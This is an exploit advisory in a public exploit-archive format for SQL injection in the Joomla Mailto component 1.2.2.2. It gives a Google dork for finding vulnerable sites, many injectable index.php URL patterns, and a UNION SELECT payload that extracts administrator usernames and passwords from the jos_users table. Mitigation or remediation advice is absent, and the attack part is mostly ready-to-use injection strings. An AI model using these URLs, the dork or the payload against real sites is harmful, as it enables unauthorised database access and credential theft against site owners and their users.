Joomla Mailto component version 1.2.2.2 suffers from a remote SQL injection vulnerability.
659a97b475d5f68a8c4156466c687ccf
####################################################################
# Exploit Title : Joomla Mailto Components 1.2.2.2 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 04/02/2019
# Vendor Homepage : hr-it-solutions.com
# Software Download Link : github.com/eddieajau/joomla-mailto
github.com/eddieajau/joomla-mailto/archive/master.zip
hr-it-solutions.com/joomla-erweiterungen/disable-mailto
# Software Information Link : extensions.joomla.org/extension/dd-disable-mailto/
# Software Version : 1.2.2.2
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_mailto''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# Old Similar CVE [ Only Version is different ] : CVE-2009-1499
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Description about Software :
***************************
Joomla! system plugin to disable mailto function.
Disable MailTo disables also the "recommend to a friend link"
and the "recommend to a friend form" from frontend.
####################################################################
# Impact :
***********
SQL injection vulnerability in the MailTo (aka com_mailto) component in Joomla!
allows remote attackers to execute arbitrary SQL commands via the different parameters in index.php.
Joomla Mailto 1.2.2.2 component for Joomla is prone to an SQL-injection
vulnerability because it fails to sufficiently sanitize user-supplied
data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application
and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
####################################################################
# SQL Injection Exploit :
**********************
/index.php?option=com_mailto&tmpl=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&type=raw&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=mailto&article=[SQL Injection]&Itemid=1
/index.php?option=com_mailto&tmpl=mailto&article=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=gantry&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=skyextend-fjt&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=kallyas&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=ca_cloudbase2_j25&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=jf_texturia&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=jsn_boot_pro&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=jm-business-marketing&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=findario1.7&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=beez_20&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=allrounder-j1.6&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=siteground-j16-41&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=nagariknews&link=[SQL Injection]
/index.php?option=com_mailto&tmpl=component&template=sarmuni&link=[SQL Injection]
# Example SQL Injection Exploit Payload :
*************************************
+and+1=2+union+select+concat(username,char(58),password)administrator+from+jos_users--
+and+1=2+union+select+concat(username,char(58),password)administrator+from+jos_users--&Itemid=1
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################